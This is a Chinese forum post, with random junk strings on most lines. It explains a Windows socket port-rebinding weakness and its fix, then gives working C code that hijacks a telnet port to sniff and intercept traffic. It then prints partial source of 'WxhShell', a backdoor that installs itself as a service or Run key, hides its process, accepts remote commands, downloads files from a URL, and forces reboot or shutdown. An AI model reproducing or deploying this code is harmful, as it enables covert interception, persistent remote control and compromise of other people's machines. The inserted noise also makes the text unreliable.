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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "nS{ ;:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "Mu $3 w  
U*#E aL  
  saddr.sin_family = AF_INET; CX@HG)l  
'J<zVD}0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vzQmijr-  
Lw78v@dY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dYttse'  
1 bx^Pt)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dXr !_)i  
q.Aw!]:!  
  这意味着什么?意味着可以进行如下的攻击: Nl>b'G96  
- &LZle&M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :j!_XMyT:  
wz2)seZY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Lzb [%?  
pl? J<48  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SF}L3/C&h  
kA$;vbm  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >w'?DV>u|  
xo@/k   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {hp@j#  
S+=@d\S}"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?>Ci`XlLr  
w2_I/s6B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >5Rw~  
Bk(XJAjY  
  #include dXy"yQ>{  
  #include &ppZRdq]  
  #include Pn){xfqDl  
  #include    ; yC`5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5|H(N}S_  
  int main() t@mw f3,  
  { 5+PBS)pJ]%  
  WORD wVersionRequested; /VOST^z!  
  DWORD ret; RAJ |#I1  
  WSADATA wsaData; ~V)VGGOL$v  
  BOOL val; mCP +7q7  
  SOCKADDR_IN saddr; +(hwe jyC  
  SOCKADDR_IN scaddr; sjbC~Te--  
  int err; eT \Q  
  SOCKET s; olW`.3f  
  SOCKET sc; _p^ "!  
  int caddsize; w\[*_wQp  
  HANDLE mt; sJ*U Fm{  
  DWORD tid;   vG=$UUh@~  
  wVersionRequested = MAKEWORD( 2, 2 ); *`/@[S2,cu  
  err = WSAStartup( wVersionRequested, &wsaData ); gG|1$  
  if ( err != 0 ) { D+nj[8y  
  printf("error!WSAStartup failed!\n"); @G&xq "Fg7  
  return -1; 04LVa|Y@U  
  } :'Kx?Es   
  saddr.sin_family = AF_INET; mr\L q~*c  
   t ,Rn  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Nd!=3W5?  
;-wPXXR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I>\?t4t  
  saddr.sin_port = htons(23); Tp.iRFFkP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dQoMAsxzM  
  { H_^u_ %:e  
  printf("error!socket failed!\n"); `SpS?mWA  
  return -1; 00 ,j neF  
  } ty8!"-V1  
  val = TRUE; JH,fg K+[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m|?J^_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mAERZ<I  
  { T[II;[EiE  
  printf("error!setsockopt failed!\n"); :9< r(22  
  return -1; <J uJ`t  
  } 3S21DC@Y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xVo)!83+Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [Cr~gd+ q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8-#2?=  
Fi}rv[`XY[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DFH6.0UW  
  { (9lx5  
  ret=GetLastError(); WM7/|.HQ  
  printf("error!bind failed!\n"); 9E*K44L/V  
  return -1; <W{0@?y  
  } eNskuG|1  
  listen(s,2); Oc=PJf%D#  
  while(1) L*Cf&c`8r  
  { qf{B  
  caddsize = sizeof(scaddr); Z-V%lRQ=b  
  //接受连接请求 LR.+C xQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); u 9Tl Xn  
  if(sc!=INVALID_SOCKET) #.xTAvD  
  { Q";eyYdOL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U~c;W@T  
  if(mt==NULL) xL"o)]a=  
  { nlnJJM&J $  
  printf("Thread Creat Failed!\n"); $S("- 3  
  break; Kt0Tuj@CY  
  } S,>n'r[  
  } ''YjeX  
  CloseHandle(mt); (!=aRC.-  
  } -JQg{A  
  closesocket(s); +Enff0 =+  
  WSACleanup(); Bbp9Q,4  
  return 0; bS"M*  
  }   {NDe9V5  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ez-o*&  
  { o\gQYi   
  SOCKET ss = (SOCKET)lpParam; t fQq3#  
  SOCKET sc; 2geC3v% 0o  
  unsigned char buf[4096]; DgP%Q  
  SOCKADDR_IN saddr; vGDo?X~#o  
  long num; 9^olAfX`dB  
  DWORD val; oa7Hx<Y  
  DWORD ret; MPc=cLv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uwzT? C A6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K>6p5*&  
  saddr.sin_family = AF_INET; H|O}Dsj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5Yr$dNe  
  saddr.sin_port = htons(23); M] *pBc(o0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GjG3aqP&!  
  { (o\~2e:  
  printf("error!socket failed!\n"); )T_ #X!  
  return -1; A4x3TW?  
  } )UUe5H6Hd0  
  val = 100; r/f;\w7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z$b!J$A1  
  { CxV%/ChJ#  
  ret = GetLastError(); B.jYU  
  return -1; 5w9<_W0d  
  } 'h=2_%l@Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R MXj)~4.  
  { b5R*]  
  ret = GetLastError(); kMXl {  
  return -1; Zv93cv  
  } VV0$L=mo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B8Z66#EQ  
  { }lVUa{ubf  
  printf("error!socket connect failed!\n"); Mr(3]EfgO  
  closesocket(sc); e:<> Yq+  
  closesocket(ss); uU s>/+  
  return -1; .EwK>ro4  
  } H'>  
  while(1) W aU_Z/{0  
  { ;;5i'h~?]J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \eCdGx?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 470Pig>I8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DAi[3`C  
  num = recv(ss,buf,4096,0); t1S~~FLE  
  if(num>0) H2vEFnV  
  send(sc,buf,num,0); o5uwa{v  
  else if(num==0) KMcP!N.I  
  break; |zKcL3*  
  num = recv(sc,buf,4096,0); 5$X{{j2  
  if(num>0) a6_`V;  
  send(ss,buf,num,0); Q{60^vg  
  else if(num==0) aT#|mk=\  
  break; XLT<,B}e  
  } 1wt]J!hgV  
  closesocket(ss); %+~0+ev7r  
  closesocket(sc); +L6d$+  
  return 0 ; ?a@l.ZM*  
  } *VB*/^6A  
ix;8S=eP~{  
^(R gSMuT`  
========================================================== |Oe6OCPf  
Wt =[R 4=  
下边附上一个代码,,WXhSHELL 2_Z6 0]  
RU=%yk-gM  
========================================================== &3V4~L1aEg  
g,nEiL  
#include "stdafx.h" XJ9>a-{  
2Z~o frj  
#include <stdio.h> gN%R-e0  
#include <string.h> `Ec+i  
#include <windows.h> MZ'HMYed   
#include <winsock2.h> C'ZU .Y  
#include <winsvc.h> {YFru6$  
#include <urlmon.h> ||f 4f3R'  
\N30SG ?o  
#pragma comment (lib, "Ws2_32.lib") &n|gPp77$  
#pragma comment (lib, "urlmon.lib") ^&Bye?`5  
v]v f(]""  
#define MAX_USER   100 // 最大客户端连接数 Eh+lL tZ  
#define BUF_SOCK   200 // sock buffer vq}V0- <  
#define KEY_BUFF   255 // 输入 buffer J']W7!p  
5> UgBA  
#define REBOOT     0   // 重启 E2MpMR  
#define SHUTDOWN   1   // 关机 aH_&=/-Tz  
Dp8(L ]6  
#define DEF_PORT   5000 // 监听端口 S(pfd2^  
F+GQl  
#define REG_LEN     16   // 注册表键长度 <S qbj;  
#define SVC_LEN     80   // NT服务名长度 b~}}{fm&f  
s6I]H  
// 从dll定义API <OUAppH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c1i7Rc{q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  (c"!0v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IF=rD-x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N@g+51ye  
'5%DKz  
// wxhshell配置信息 ` Oi@7 /oT  
struct WSCFG { 7_RU*U^  
  int ws_port;         // 监听端口 #p]O n87>  
  char ws_passstr[REG_LEN]; // 口令 hY!G>d{J  
  int ws_autoins;       // 安装标记, 1=yes 0=no LBg#KQ @  
  char ws_regname[REG_LEN]; // 注册表键名 )lbF'.i  
  char ws_svcname[REG_LEN]; // 服务名 pmC@ fB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vd~O:=)4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x{m)I <.:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4[?Q*f!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ep5aBrN]"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L>B0%TP^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GCrN:+E0FJ  
N`M5`=.  
}; x K/`XY  
wgrYZ^]  
// default Wxhshell configuration rO NLbrj  
struct WSCFG wscfg={DEF_PORT, Hl#o& *Ui"  
    "xuhuanlingzhe", aD4ln]sFxG  
    1, #r1x0s40D  
    "Wxhshell", gU`QW_{  
    "Wxhshell", 9} vWTt0  
            "WxhShell Service", q9OIw1xQr*  
    "Wrsky Windows CmdShell Service", k@w&$M{tPF  
    "Please Input Your Password: ", E^g6,Y:i9  
  1, #\}hN~@F  
  "http://www.wrsky.com/wxhshell.exe", X_h+\ 7N>  
  "Wxhshell.exe" YXvKDw'95  
    }; .}tL:^'~o  
@wo9;DW`  
// 消息定义模块 &c]x;#-y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;j$84o{  
char *msg_ws_prompt="\n\r? for help\n\r#>";  *q^'%'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ! M bRI  
char *msg_ws_ext="\n\rExit."; $z<CkMP!U7  
char *msg_ws_end="\n\rQuit."; og>f1NwS[  
char *msg_ws_boot="\n\rReboot..."; bHp|> g  
char *msg_ws_poff="\n\rShutdown..."; 9DIGK\  
char *msg_ws_down="\n\rSave to "; L8V'mUyD  
!o`al` q'  
char *msg_ws_err="\n\rErr!"; vOqT Ld  
char *msg_ws_ok="\n\rOK!"; j1BYSfX'  
?}W:DGudZ  
char ExeFile[MAX_PATH]; ?B-aj  
int nUser = 0; ,yB-jk?  
HANDLE handles[MAX_USER]; D!:Qy@Zw  
int OsIsNt; |Oo WGVc  
f~]5A%=cZ  
SERVICE_STATUS       serviceStatus; WYq, i}S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \UXQy{Ex  
PgVM>_nHk  
// 函数声明 ar6Z?v$  
int Install(void); MFC= oKD  
int Uninstall(void); (F @IUbnl  
int DownloadFile(char *sURL, SOCKET wsh); 8} U/fQ~  
int Boot(int flag); ^0r @",  
void HideProc(void); e@6}?q;  
int GetOsVer(void); 1Ao"DxZHy7  
int Wxhshell(SOCKET wsl); f`?|A  
void TalkWithClient(void *cs); 46mu,v  
int CmdShell(SOCKET sock); QPBf++|  
int StartFromService(void); \\[P^ tsF  
int StartWxhshell(LPSTR lpCmdLine); Jap v<lV%  
P| G:h&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2hquE_1S[w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @.%ll n  
WhkE&7Gk  
// 数据结构和表定义 +jHL==W&  
SERVICE_TABLE_ENTRY DispatchTable[] = U7{, *  
{ >:Rc%ILym  
{wscfg.ws_svcname, NTServiceMain}, b+w|3bQa  
{NULL, NULL} 5Eq_L  
}; \wTW hr0  
 HSTtDTo  
// 自我安装 ^.k}YSWut  
int Install(void) Jr#ptf"Wu  
{ zg)]:  
  char svExeFile[MAX_PATH]; $PNR?  
  HKEY key; Wt_@ vs@.O  
  strcpy(svExeFile,ExeFile); `TAhW  
eQMY3/#  
// 如果是win9x系统,修改注册表设为自启动 W4Zi?@L>'  
if(!OsIsNt) { c: _l+CgeH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {uq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T@X!vCjf6  
  RegCloseKey(key); qg+ 8i9Y!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qF>}"m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ).xQ~A\.  
  RegCloseKey(key); v\Q${6kEtx  
  return 0; (d@lG*K  
    } s$mcIMqs  
  } ujHqw Rh  
} ZU/6#pb  
else { e5MX5 T^  
g&v2=&aj  
// 如果是NT以上系统,安装为系统服务 Zpg$:Rr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )bqO}_B  
if (schSCManager!=0) y6;A4p>  
{ N{f RZN  
  SC_HANDLE schService = CreateService z~Gi/Ln  
  ( `NrxoU=  
  schSCManager, ]Rz]"JZ\S  
  wscfg.ws_svcname, $dq R]'  
  wscfg.ws_svcdisp, e3&R3{  
  SERVICE_ALL_ACCESS, {5:y,=Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Qb/qUUQO;0  
  SERVICE_AUTO_START, FhW\23OC  
  SERVICE_ERROR_NORMAL, |]^OX$d  
  svExeFile, 4h?[NOA"  
  NULL, 9=Y-w s  
  NULL, EZao\,t  
  NULL, .#P'NF(5#  
  NULL, *uNa( yd  
  NULL |R DPx6!V  
  ); N_Yop  
  if (schService!=0) $GEY*uIOa  
  { _z~|*7@  
  CloseServiceHandle(schService); A@+pvC&  
  CloseServiceHandle(schSCManager); a*! wiTGf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c:M~!CXO  
  strcat(svExeFile,wscfg.ws_svcname); (m25ZhW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f8!*4Bw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WM~@/J  
  RegCloseKey(key); k#&d`?X  
  return 0; vEk jd#  
    } DhYQ>Gv8U  
  } {+!m]-s  
  CloseServiceHandle(schSCManager); rOEk%kJ  
} ymiOtA Z  
} ilHZx2 k  
?V3e;n  
return 1; C0Z mv  
} *xI0hFJIM  
@))PpE`co8  
// 自我卸载 ?zM]p"M  
int Uninstall(void) -J[*fv@  
{ ZkSlztL)Tr  
  HKEY key; HM /2/ /  
TFjb1 a,)  
if(!OsIsNt) { |VQ17*4ff1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y/?V%X  
  RegDeleteValue(key,wscfg.ws_regname); h(l4\)  
  RegCloseKey(key); Q$^oIFb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?A+-k4l  
  RegDeleteValue(key,wscfg.ws_regname); $F"'= +0  
  RegCloseKey(key); JvX]^t/}  
  return 0; t2uX+1F  
  } T{<riJ`O  
} V{+'(<SV  
} LVP2jTz  
else { 7u73v+9qn:  
P|%uB'|H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yyB;'4Af  
if (schSCManager!=0) !tJQ75Hwv  
{ 0N>NX?r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .5*5S[  
  if (schService!=0) jMr[ UZ  
  { nI]8w6eCV  
  if(DeleteService(schService)!=0) { m[n=t5~  
  CloseServiceHandle(schService); RC?gozBFJ  
  CloseServiceHandle(schSCManager); [}:;B$,  
  return 0; DXA<m2&64N  
  } Z$jqB~=^e  
  CloseServiceHandle(schService); ~;$,h ET  
  } 0])D)%B k  
  CloseServiceHandle(schSCManager); fSc)PqLP  
} ,Y9bXC8+dU  
} -@bOFClE  
v *icoj  
return 1; iF,%^95=  
} .Nk'yow  
P! cfe@;<4  
// 从指定url下载文件 k4T`{s}e  
int DownloadFile(char *sURL, SOCKET wsh) 4, EX2  
{ -So$ f-y  
  HRESULT hr; y[`>,?ns5  
char seps[]= "/"; D *=.;Rq  
char *token; eYtP396C|  
char *file; At<D36,^"  
char myURL[MAX_PATH]; *? V boyU  
char myFILE[MAX_PATH]; 2 o)8'Lp  
h4ozwVA  
strcpy(myURL,sURL); Q Uy7Q$W  
  token=strtok(myURL,seps); f?JP=j  
  while(token!=NULL) mY= Q#nG  
  { LO;7NK  
    file=token; +h ]~m_O  
  token=strtok(NULL,seps); :MaP58dhh  
  }  #nq$^H  
Lm&BT)*  
GetCurrentDirectory(MAX_PATH,myFILE); o' EJ,8  
strcat(myFILE, "\\"); 'nIKkQ" N  
strcat(myFILE, file); {k}$L|w  
  send(wsh,myFILE,strlen(myFILE),0);  L}=DC =E  
send(wsh,"...",3,0); Uee(1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); utu V'5GD  
  if(hr==S_OK) -xXdT$Xd  
return 0; fK|P144   
else p!o-+@ava  
return 1; v\lKY*@f  
;RK;kdZ  
} J ?0P{{  
5[y+X|Am  
// 系统电源模块 ;#bDz}|\AN  
int Boot(int flag) eC3 ~|G_O  
{ _]v@Dq VP  
  HANDLE hToken; i@`qam   
  TOKEN_PRIVILEGES tkp; 5<XWbGW  
h_HPmh5  
  if(OsIsNt) { }  fa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D"msD"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XL7||9,(h  
    tkp.PrivilegeCount = 1; fHODS9HQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F'-,Ksn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~8&P*oFC  
if(flag==REBOOT) { :b0|v`FU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  RnSll-  
  return 0; Kzx` E>,z'  
} ~ o=kW2Y  
else { X[!S7[d-y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wn{MY=5Y  
  return 0; fg7  
} ix hF,F  
  } V.%LA. 8  
  else { Wo(m:q(Om  
if(flag==REBOOT) { 2bOl`{x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v@4vitbG9  
  return 0; 9k~%HN-[  
} )5NWUuH 5  
else { Z~w2m6;s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n[B[hAT  
  return 0; 0NK|3]p  
} 0(>3L:  
} vjzG H*  
==UYjbuU  
return 1;  Cmp5or6d  
} AB{zkEuK  
ol K+|nR  
// win9x进程隐藏模块 n.i 8?:  
void HideProc(void) (d/!M n6L  
{ %LM6=nt  
a`8]TD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IT7],pM  
  if ( hKernel != NULL ) UM`{V5NG#  
  { l,~`o$ _  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x]@z.Yj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F v*QcB9K  
    FreeLibrary(hKernel); 9|3sNFGX  
  } 6{{<+ o  
{kBsiSvsA;  
return; cU-A1W  
} NMQG[py!f  
'oK o F  
// 获取操作系统版本 Dw.I<fns^B  
int GetOsVer(void) hs5>Gx  
{ in5e *  
  OSVERSIONINFO winfo; TtF+~K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?68~g<d,  
  GetVersionEx(&winfo); zVa&4 T-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PU[<sr#,  
  return 1; *u:,@io7'G  
  else :<mJRsDf  
  return 0; wdAKU+tM  
} &AOGg\  
mE5{)<N:C  
// 客户端句柄模块 L N Fe7<y  
int Wxhshell(SOCKET wsl) -`DYDIr  
{ 8sU5MQ5  
  SOCKET wsh; wJ pb$;  
  struct sockaddr_in client; )bR0 >3/  
  DWORD myID; [\#ANA"  
@0s' (  
  while(nUser<MAX_USER) h`n '{s  
{ (9oo8&GG  
  int nSize=sizeof(client); N mXRA(m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }^0'IAXi  
  if(wsh==INVALID_SOCKET) return 1; Zs{7km  
5'eBeNxM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H8I)D& cw  
if(handles[nUser]==0) AT+ l%%   
  closesocket(wsh); "?F[]8F.b  
else tq~4W% p/  
  nUser++; l^}u S|c(  
  } xs\<!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s+v9H10R  
/&Cq-W  
  return 0; Sh1$AGm  
} $ZGup"z)  
b r Iz8]  
// 关闭 socket Q,JH/X  
void CloseIt(SOCKET wsh) U3z23LgA  
{ A$N%deb  
closesocket(wsh); 6IV):S~  
nUser--; &Z[+V)6,,  
ExitThread(0); #h^nvRmON  
} 2oEuqHL  
gm2|`^Xq$  
// 客户端请求句柄 _S7?c^:~  
void TalkWithClient(void *cs) @2L^?*n=  
{ R;pW,]}g,  
xjiV9{w  
  SOCKET wsh=(SOCKET)cs; E"_{S.Wc  
  char pwd[SVC_LEN]; 1HKA`]D"p  
  char cmd[KEY_BUFF]; 0?8>{!I  
char chr[1]; _hyqHvP  
int i,j; -&`_bf%M  
E b:iym0  
  while (nUser < MAX_USER) { i+mU(/l2{  
|9%~z0  
if(wscfg.ws_passstr) { {q`8+$Z;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >n3GvZ5%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p<H_]|7$7U  
  //ZeroMemory(pwd,KEY_BUFF); 2,q*8=?{6P  
      i=0; oA[`| ji  
  while(i<SVC_LEN) { :0Jn`Ds4o  
gk6R#  
  // 设置超时 H390<`  
  fd_set FdRead; Be]z @E1x  
  struct timeval TimeOut; [n| }>  
  FD_ZERO(&FdRead);  mjP  
  FD_SET(wsh,&FdRead); w-ald?`  
  TimeOut.tv_sec=8; e-P{)L<s5  
  TimeOut.tv_usec=0; gEsD7]o(=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -rI7ihr*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s=-?kcoJ2d  
y>0 @.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gh*k\0  
  pwd=chr[0]; Z(tJd ,  
  if(chr[0]==0xd || chr[0]==0xa) { .eg'Z@o  
  pwd=0; )s^gT]"N  
  break; z+;$cfN  
  } &odQ&%X  
  i++; hNZ_= <D!  
    } l![79 eFp  
Z0zEX?2mb  
  // 如果是非法用户,关闭 socket 4 qsct@K,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )e P Qxx  
} guYP|  
xjU0&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5)S;R,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jrN 5l1np  
!p+rU?  
while(1) { fgtwV ji  
\G v\&_  
  ZeroMemory(cmd,KEY_BUFF); X%-hTl  
.O0eSp|e  
      // 自动支持客户端 telnet标准   p+b9D  
  j=0; B&X)bGx8  
  while(j<KEY_BUFF) { A@lM =   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  lY`WEu  
  cmd[j]=chr[0]; U= n  
  if(chr[0]==0xa || chr[0]==0xd) { mD +9/O!  
  cmd[j]=0; tQ; Fgv8Y!  
  break; lmoYQFkYP  
  } `O3#/1+  
  j++; bu pW*fD:  
    } oSMIWwg7G  
4jZt0  
  // 下载文件 s!YX<V  
  if(strstr(cmd,"http://")) { <LBCu;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jK6dI 7h  
  if(DownloadFile(cmd,wsh)) mL}Wan  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ',FVT4OMw  
  else M-QQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u8A,f}D 3  
  } o%]b\Vl6  
  else { p |;#frj  
r7U[QTM%  
    switch(cmd[0]) { 2-g 5Gb2|  
  d<\X)-"  
  // 帮助 CD?b.Cxai  
  case '?': { GF<SQHL,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yyVJb3n5:!  
    break; Pvkr$ou  
  } 9~f RYA*  
  // 安装 |9CPT%A#  
  case 'i': { W}(xE?9&  
    if(Install()) "wV7PSbM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "[L+LPET  
    else 2rP!]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B$97"$#u  
    break; bb/A}< zD  
    } m:;`mBOc3  
  // 卸载 k lr1"q7  
  case 'r': { ^?0WE   
    if(Uninstall()) 0F 4%Xz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1@]gBv<  
    else 5X-d,8{w _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <m`Os2#  
    break; c_ 1.  
    } FO|Eg9l  
  // 显示 wxhshell 所在路径 z{> )'A/  
  case 'p': { UUgc>   
    char svExeFile[MAX_PATH]; ;ahI}}  
    strcpy(svExeFile,"\n\r"); 8`w#)6(V  
      strcat(svExeFile,ExeFile); zZCssn;[  
        send(wsh,svExeFile,strlen(svExeFile),0); t+WUz#i"  
    break; QfU{W@!h  
    } #5IfF~* i  
  // 重启 i'Q 4touy  
  case 'b': { ~rz%TDX0\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $xj>j  
    if(Boot(REBOOT)) euh rEjwkH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `~W?a  
    else { K&vqk/JW1  
    closesocket(wsh); {f%x8t$  
    ExitThread(0); /u'M7R  
    } G-T2b,J [  
    break; X9uYqvP\(  
    } klC48l  
  // 关机 71yf+xL  
  case 'd': { [E%Ov0OC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PHn3f;I  
